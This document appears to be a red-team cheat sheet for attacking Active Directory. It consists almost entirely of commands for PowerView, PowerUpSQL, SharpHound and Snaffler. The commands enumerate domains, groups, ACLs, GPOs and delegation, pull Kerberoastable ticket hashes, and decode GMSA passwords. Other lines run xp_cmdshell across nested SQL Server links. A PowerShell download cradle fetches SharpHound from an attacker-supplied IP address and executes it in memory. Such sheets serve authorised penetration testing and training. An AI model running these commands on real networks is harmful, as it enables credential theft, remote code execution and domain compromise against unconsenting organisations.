# List all computers in current DomainGet-DomainComputerGet-DomainComputer| Select Name,Description | Sort Name# Ping all alive computers in current DomainGet-DomainComputer-Ping# List all computers with select Operating SystemGet-DomainComputer-OperatingSystem "Windows 10 Pro"Get-DomainComputer-OperatingSystem "Windows 7*"Get-DomainComputer-OperatingSystem "Windows 8*"Get-DomainComputer-OperatingSystem "Windows xp*"# Get Computer objects that have Unconstrained DelegationGet-DomainComputer-Unconstrained
# Get all Domain DontrollersGet-NetDomainController# Get Primary Domain ControllerGet-NetDomain|Select-Object'PdcRoleOwner'# Get Domain Controller in different DomainGet-NetDomainController-Domain <Domain>
# Enumerate all Domains in the forestGet-NetForestDomain# Get all Domains in Forest then list each Domain trustGet-NetForestDomain-Verbose |Get-DomainTrust# Map all reachable Domain trustsGet-DomainTrustMappingGet-DomainTrustMapping| Select SourceName,TargetName,TrustType,TrustDirection# List external trustsGet-NetForestDomain-Verbose |Get-DomainTrust|?{$_.TrustType-eq'External'}# Enumerate trusts across the domainGet-DomainTrust# Find users in the current Domain that reside in Groups across trustsFind-ForeignUser
Forest Enumeration
# Get details about current ForestGet-NetForestGet-NetForest-Forest <Forest># Get all Domains in current ForestGet-NetForestDomainGet-NetForestDomain-Forest <Forest># Get global catalogs in current ForestGet-NetForestCatalogGet-NetForestCatalog-Forest <Forest># Map Forest trustsGet-NetForestTrustGet-NetForestTrust-Forest <Forest>
Group Enumeration
# List all Groups in current DomainGet-NetGroupGet-NetGroup-Properties SamAccountName | Sort SamAccountName# List all Groups in alternative DomainGet-NetGroup –Domain <Domain># Search for Groups with partial wildcardGet-NetGroup"*admin*"Get-NetGroup"*admin*"-Properties SamAccountName | Sort SamAccountName# List all local groups on Domain systemGet-NetLocalGroup-ComputerName <Hostname># Identify interesting groups on a Domain ControllerGet-NetDomainController|Get-NetLocalGroup# Get all domain controllers then get each group and list members Get-NetDomainController | Get-NetLocalGroup | Select -ExpandProperty GroupName | Get-NetGroupMember | Select GroupName,MemberName | Sort GroupName
# Get All groups and members of groupsGet-NetGroup|Get-NetGroupMember| Select GroupName,MemberName | Sort GroupName# List Groups of which a user is a member of (Recursive)Get-DomainGroup-MemberIdentity "<User>"Get-DomainGroup-MemberIdentity "<Group>"
Group Managed Service Accounts
# Enumerate GMSA accounts # PowerviewGet-DomainObject-LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'# AD ModuleGet-ADServiceAccount-Filter *# AD Module# Enumerate users who can retrieve the passwordGet-ADServiceAccount-Identity [Identity] -Properties *| select PrincipalsAllowedToRetrieveManagedPassword# Decode the password blob and convert to NT hash. (Run in context of user who has permissions to read the password# https://github.com/The-Viper-One/RedTeam-Binaries/raw/main/GMSAPasswordReader.exe.\GMSAPasswordReader.exe--accountname [GMSA-Account]
Group Policy Enumeration
# Get GPO's in DomainGet-DomainGPOGet-DomainGPO-Properties DisplayName,CN# Get GPO applied to specific OUGet-DomainGPO-ADSpath `((Get-NetOU"StudentMachines"-FullData).gplink.split(";")[0] -replace"^.")# Get each OU and enumerate GPOs applied to each$OUs = Get-DomainOU -Properties displayName, gplink; foreach ($OU in $OUs) { $FilteredLDAP = $OU.gplink -replace '.*\{(.+?)\}.*', '{$1}'; Write-Host "OU: $($OU.displayName)" -ForegroundColor "Yellow"; Get-DomainGPO -Identity $FilteredLDAP; Write-Host }
# Get GPO applied to systemGet-DomainGPO-ComputerIdentity <FQDN>Get-DomainGPO-ComputerIdentity <FQDN>| Select DisplayName,CN# Get GPO applied to a UserGet-DomainGPO-UserIdentity <SamAccountName>Get-DomainGPO-UserIdentity <SamAccountName | Select DisplayName,CN# Get GPO Restricted GroupsGet-NetGPOGroupGet-NetGPOGroup-ResolveMembersToSIDs# Get GPO Restricted Groups and list each member of the groups$GroupNames = Get-NetGPOGroup -ResolveMembersToSIDs | Select-Object -ExpandProperty "GroupName" ; foreach ($GroupName in $GroupNames) {$ModifiedGroupName = $GroupName -replace '^.*\\' ; Get-DomainGroupMember -Identity $ModifiedGroupName}
# Get users which are in a local group of a machine using GPOFind-GPOComputerAdmin –Computername <FQDN># Determines what users/groups are in the specified local group for the machine through GPO correlationFind-GPOLocation-ComputerName <FQDN># Get GPO PermissionsGet-DomainGPO|Get-ObjectAcl
Find GPO's vulnerable to takeover
# Search for GPO's which may be vulnerable to takeoverGet-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
# Resolve the SID to identify the principalGet-DomainGPO -Identity "CN={5059FAC1-5E94-4361-95D3-3BB235A23928},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" | select displayName, gpcFileSysPath
# Resolve the SIDConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
Organizational Units Enumeration
# Get all OU's in DomainGet-DomainOUGet-DomainOU-Domain <Domain>Get-DomainOU-Properties OU,DistinguishedName | Sort OU# Get all OU names by wildcard Get-DomainOU"*admin*"Get-DomainOU"*test*"Get-DomainOU"*server*"Get-DomainOU"*work*"
User Eumeration
# List all user accounts in DomainGet-DomainUser# List enabled user accountsGet-DomainUser-UACFilter NOT_ACCOUNTDISABLE -Properties Name,SamAccountName,Description | Sort NameGet-DomainUser-UACFilter NOT_ACCOUNTDISABLE -Properties Name,Description,pwdlastset,badpwdcount | Sort Name# List specific user accountGet-DomainUser-Username <Username># Getcurrently logged on users from selected systemGet-NetLoggedon-ComputerName <Hostname># Get last logged user on a remote computer (Requires admin and remote registry)Get-LastLoggedOn-ComputerName <Hostname># Get kerberoastable usersGet-DomainUser-SPN | select Name,SrvicepPincipalnNme# Get AS-REP roastable usersGet-DomainUser-PreauthNotRequired | select Name# Search for string in User Description fieldGet-DomainUser-Properties samaccountname,description |Where {$_.description-ne$null}# Search for string in userPassword fieldGet-DomainUser-Properties userPassword |Where {$_.userPassword-ne$null}# Search for string in unixUserPassword fieldGet-DomainUser-Properties unixUserPassword |Where {$_.unixUserPassword-ne$null}
Other
Access Control Lists
# Get current domain SID and find interesting properties$SID = Get-DomainSid ; Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "$SID-[\d]{4,10}" }
# Find interesting ACL's for current userFind-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name}
# Get ACLs for specific AD ObjectGet-DomainObjectAcl-SamAccountName <SAM>-ResolveGUIDsGet-DomainObjectAcl-Identity <Identity>-ResolveGUIDs# Get ACLs for specified prefixGet-DomainObjectAcl-ADSprefix 'CN=Administrators,CN=Users'-Verbose# Search for interesting ACEsFind-InterestingDomainAcl-ResolveGUIDsFind-InterestingDomainAcl-ResolveGUIDs |?{$_.IdentityReference-match"Domain Users"} Find-InterestingDomainAcl -ResolveGUIDs | ?{ $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"
# Get ACLs for select groupsGet-DomainObjectACL -identity "Domain Admins" -ResolveGUIDs | ?{ $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"
# Find Interesting ACLs from groups we are a member ofFind-InterestingDomainAcl-ResolveGUIDs |?{$_.IdentityReferenceName-match"Standard-Users"}# Find Interesting ACLs for groups a user is a member of (Recursive)Get-DomainGroup -MemberIdentity "[User]" | Select-Object -ExpandProperty "SamAccountName" | ForEach-Object { Write-Host "Searching for interesting ACLs for $_" -ForegroundColor "Yellow"; Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match $_ } }
# Get ACL for specific pathGet-PathACL-Path "\\Security.local\SYSVOL"# Get the ACLs associated with the specified LDAP path to be used for searchGet-DomainObjectAcl-ADSpath "LDAP://CN=DomainAdmins,CN=Users,DC=Security,DC=local"-ResolveGUIDs -Verbose
AppLocker / WDAC
# Search local system to see if AppLocker used. An error will officure if not in usereg query HKLM\Software\Policies\Microsoft\Windows\SRPV2# Search for AppLocker policy with PowerShell on the local systemGet-AppLockerPolicy-Effective | select -ExpandProperty RuleCollections# Check local system to see if WDAC is installedGet-CimInstance-ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard# Search for GPOs that might be related to AppLockerGet-DomainGPO-Domain dev-studio.com|? { $_.DisplayName-like"*AppL*" } | select displayname, gpcfilesyspath
# Ensure the Base path below is set to the root of the domain$d = Get-ObjectACL "DC=Domain,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')} | Select-Object -ExpandProperty SecurityIdentifier | Select -ExpandProperty value ; Convert-SidToName $d
# Get computer Constrained DelegationGet-DomainComputer-TrustedToAuth| Select DnsHostName,UserAccountControl,msds-allowedtodelegateto | FL# Get user Constrained DelegationGet-DomainUser-TrustedToAuth
Delegation - Unconstrained
# Get computers with unconstrained delegationGet-DomainComputer-Unconstrained | Select DnsHostName,UserAccountControl
# Discovery (SPN Scanning)Get-SQLInstanceDomain# Discovery (Broadcast Domain)Get-SqlInstanceBroadcast# Discovery (Broadcast Domain)Get-SqlInstanceScanUDPGet-SqlInstanceScanUDPThreaded# Check AccessibilityGet-SQLConnectionTestThreadedGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-Verbose#Gather InformationGet-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Search for database links to remote serversGet-SQLServerLink-Instance <Instance>-VerboseGet-SQLServerLinkCrawl-Instance <Instance>-Verbose# Where instance user matches "sa"Get-SQLServerLinkCrawl-Instance <Instance>|Where-Object {$_.User-match'sa'}# Execute commands ( If xp_cmdshell or RPC out is set to enabled)# If AV is enabled run cradled scripts with functions inline with the scriptEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<Instance>"Get-SQLServerLinkCrawl-Instance <Instance>"exec master..xp_cmdshell 'whoami'"-Query# Scan for misconfigurations and vulnerabilitiesInvoke-SQLAudit-Verbose -Instance <Server>
SQL Commands
# Search for database linksselect *from master..sysservers# Manually searching for Database Linksselect *from openquery("<Server>",'select * from master..sysservers')# Openquery queries can be chained to access links within links (nested links)select *from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from master..sysservers'')')# From the initial SQL server, OS commands can be executed using nested link queriesselect * from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from openquery("eu-sql.eu.eurocorp.local",''''select@@version as version;exec master..xp_cmdshell "powershellwhoami)'''')'')')
From the results above the server mssql-master-srv is the enterprise level MSSSQL server running with "sa" privileges. The path field shows in order how this is accessible starting with mssql-srv. We can check for command execution specifying the first accessible instance in the path which, in this case is mssql-srv.
Get-SQLServerLinkCrawl -Instance "mssql-srv" -Query "exec master..xp_cmdshell 'whoami'"
Version : SQL Server 2017
Instance : mssql-master-srv
CustomQuery : {nt authority\network service, }
Sysadmin : 1
Path : {mssql-srv, mssql-srv-eu, mssql-master-srv}
User : sa
Links :
With confirmed command execution under the "sa" account on the mssql-master-srv we can then connect remotely by executing a PowerShell download cradle
# Find available shares on hosts in the current DomainFind-DomainShare-Verbose# Filter out uninteresting print sharesFind-DomainShare-Verbose -CheckShareAccess |Where-Object {$_.Name-ne"print$"} | FT -AutoSize# Get all file servers on DomainGet-DomainFileServer# List all shares on specific domain systemGet-NetShare-ComputerName <Host>
Snaffler.exe -s -d Domain.local -o snaffler.log -v data
SPN Enumeration
# find all users with an SPN set (likely service accounts)Get-DomainUser-SPN# find all service accounts in "Domain Admins"Get-DomainUser-SPN |?{$_.memberof-match'Domain Admins'}# Retrieve SPN hashGet-DomainUser|Get-DomainSPNTicket-Format Hashcat | select -ExpandProperty HashGet-DomainUser-Identity <User>|Get-DomainSPNTicket-Format Hashcat | select -ExpandProperty Hash
User Hunting
PowerView
# Find all machines on domain where current user has local admin privilegesFind-LocalAdminAccess-VerboseFind-LocalAdminAccess-ComputerDomain <Domain>-Verbose# Find computers where domain administrators or specified user / group has sessionInvoke-UserHunterInvoke-UserHunter-Domain <Domain>Invoke-UserHunter-GroupName "RDPUsers"Invoke-UserHunter-Stealth # Makes less noiseInvoke-UserHunter-CheckAccess # Check if accessible# Find computers where all and any users / groups have sessionInvoke-UserHunter-ShowAllInvoke-UserHunter-ShowAll -CheckAccess # Check if accessible# Find local admins on all machines of the domain (needs local admin rights on target).Invoke-EnumerateLocalAdmin –Verbose# Get users logged on to the local systemGet-NetLoggedon# Get actively logged users on a computer (needs local admin rights on the target)Get-NetLoggedon –ComputerName <Hostname>Get-DomainComputer|Get-NetLoggedon# All Systems# Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)Get-LoggedonLocal-ComputerName <Hostname>Get-DomainComputer|Get-LoggedonLocal# All Systems# Get the last logged user on a computer (needs administrative rights and remote registry on the target)Get-LastLoggedOn –ComputerName <Hostname># Poll asystem for when a particular user accesses a resourceInvoke-UserHunter-ComputerName <Hostname>-Poll 100-UserName <user>-Delay 5-Verbose
Administrative User Identification
Local System Enumeration
Windows allows any basic authenticated domain user to enumerate the members of a local group on a remote machine.
PowerView
Get-NetLocalGroup-ComputerName <Hostname># With API CallGet-NetLocalGroup-ComputerName <Hostname>-API# Get list of effective users who can access a remote hostGet-NetLocalGroup-ComputerName <Hostname>-Recurse
# Retrieve members of the Domain Admins groupGet-DomainGroupMember-GroupName "Domain Admins"
AdminCount = 1
This can produce false positives as the AdminCount value is not always automatically updated when an account has been disabled or removed from a Group that provides privileged permissions.
PowerShell
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" | Select-Object DistinguishedName, Name
PowerView
# Identify Privileged accounts without querying groupsGet-DomainUser-AdminCount | select name,whencreated,pwdlastset,lastlogo
AD Groups with Local Admin Rights
Often times in domain environments domain user accounts are given member to a workstations local group 'Administrators'.
Virtual Admins usually have full access to the virtualization platform identifying and owning these accounts can often give total control over to an attacker.
Finding computer accounts with a $ sign at the end of the hostname in an admin group we can then compromise the system and obtain SYSTEM privileges. The SYSTEM account on the compromised computer would then have AD admin privileges.
# Standard local execution./SharpHound.exe--CollectionMethodsAll,GPOLocalGroupInvoke-BloodHound-CollectionMethodAll,GPOLocalGroupInvoke-BloodHound-CollectionMethodAll-CompressData-RemoveCSVInvoke-BloodHound-CollectionMethodLoggedOn# Specify different domain and run in stealth mode and collect only RDP dataInvoke-BloodHound--d<Domain>--Stealth--CollectionMethodRDP# Run in context of different userrunas.exe/netonly/user:domain\user'powershell.exe -nop -exec bypass'# Download and execute in memorypowershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://<IP>:/SharpHound.ps1');Invoke-BloodHound"
# Metasploitusepost/windows/gather/bloodhound
Custom Queries
Add the queries below into BloodHound for further queries.
Replace the customqueries.json with one of the above files to update the custom queries within Bloodhound. Remember to restart Bloodhound after changing the JSON file.
Locate custom queries file
sudo find / -type f -name customqueries.json 2>/dev/null
Note: Keep in mind that Bloodhound captures a 'snapshot' of the current state of Active Directory at the time of capture and as such results may change when captured again in the future.
Additional Notes
If Constrained Language mode is enabled on the target Domain Controller, Powerview will be heavily restricted for Domain enumeration. However, the AD PowerShell module will not be limited and allow Domain enumeration to continue.